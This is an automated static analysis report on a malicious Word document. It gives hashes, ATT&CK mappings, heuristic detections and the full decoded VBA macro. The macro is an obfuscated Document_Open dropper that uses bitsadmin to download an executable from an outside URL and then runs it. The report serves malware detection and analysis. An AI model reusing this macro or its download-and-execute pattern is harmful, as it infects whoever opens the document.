Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 033af8e2bd1201d3…

MALICIOUS

Office (OLE)

33.0 KB Created: 2018-11-28 18:44:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 40560195798ea3633eb374c64050b045 SHA-1: ae182de962047ce77c22d7179e70c2c0891eb3d8 SHA-256: 033af8e2bd1201d37c7744da16c7b8b7c0af4a2eb5c7cdae08ef9bd4a81e7a2c
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The Document_Open VBA macro is designed to execute malicious code. It constructs a URL by replacing 'aaa' with '.exe' in the provided string, resulting in 'http://www.apkupdatessl.co/J41783rkdllaaa.exe'. This URL is then used with 'bitsadmin' to download a second-stage payload to 'C:\Users\Public\WEGjiaaa.exe', which is subsequently executed. The use of WScript.Shell and CreateObject indicates a high likelihood of malicious intent.

Heuristics 9

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    ylkytk = Replace("http://www.apkupdatessl.co/J41783rkdllaaa", "aaa", ".exe")
Set hgjdhsgf = CreateObject("WScript.Shell")
QXfvVVlce = Environ$(Replace("taaampaaa", "aaa", "")) & "\" & Replace("\WEGjiaaa", "aaa", ".exe")
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    ylkytk = Replace("http://www.apkupdatessl.co/J41783rkdllaaa", "aaa", ".exe")
Set hgjdhsgf = CreateObject("WScript.Shell")
QXfvVVlce = Environ$(Replace("taaampaaa", "aaa", "")) & "\" & Replace("\WEGjiaaa", "aaa", ".exe")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    ylkytk = Replace("http://www.apkupdatessl.co/J41783rkdllaaa", "aaa", ".exe")
Set hgjdhsgf = CreateObject("WScript.Shell")
QXfvVVlce = Environ$(Replace("taaampaaa", "aaa", "")) & "\" & Replace("\WEGjiaaa", "aaa", ".exe")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
ylkytk = Replace("http://www.apkupdatessl.co/J41783rkdllaaa", "aaa", ".exe")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Set hgjdhsgf = CreateObject("WScript.Shell")
QXfvVVlce = Environ$(Replace("taaampaaa", "aaa", "")) & "\" & Replace("\WEGjiaaa", "aaa", ".exe")
hgjdhsgf.Run Replace("bitsaaaadmin /transaaafer myFaaaile /downlaaaoad /prioraaaity noraaamal ", "aaa", "") & ylkytk & " " & QXfvVVlce, 0, False
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.apkupdatessl.co/J41783rkdllaaa Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1096 bytes
SHA-256: a8fb3c08e2892c25d940ae833ad09ddbb889876019f479526ed9a1617ecde5e3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
ylkytk = Replace("http://www.apkupdatessl.co/J41783rkdllaaa", "aaa", ".exe")
Set hgjdhsgf = CreateObject("WScript.Shell")
QXfvVVlce = Environ$(Replace("taaampaaa", "aaa", "")) & "\" & Replace("\WEGjiaaa", "aaa", ".exe")
hgjdhsgf.Run Replace("bitsaaaadmin /transaaafer myFaaaile /downlaaaoad /prioraaaity noraaamal ", "aaa", "") & ylkytk & " " & QXfvVVlce, 0, False
ierzrfs (30)
hgjdhsgf.Run (QXfvVVlce)
End Sub
Sub ierzrfs(sec)
    Dim temp
    temp = Timer
    Do While Timer - temp < sec
    Loop
End Sub

Attribute VB_Name = "NewMacros"
Sub Computrabajo()
Attribute Computrabajo.VB_Description = "Computrabajo Ltda"
Attribute Computrabajo.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Computrabajo"
'
' Computrabajo Macro
' Computrabajo Ltda
'

End Sub

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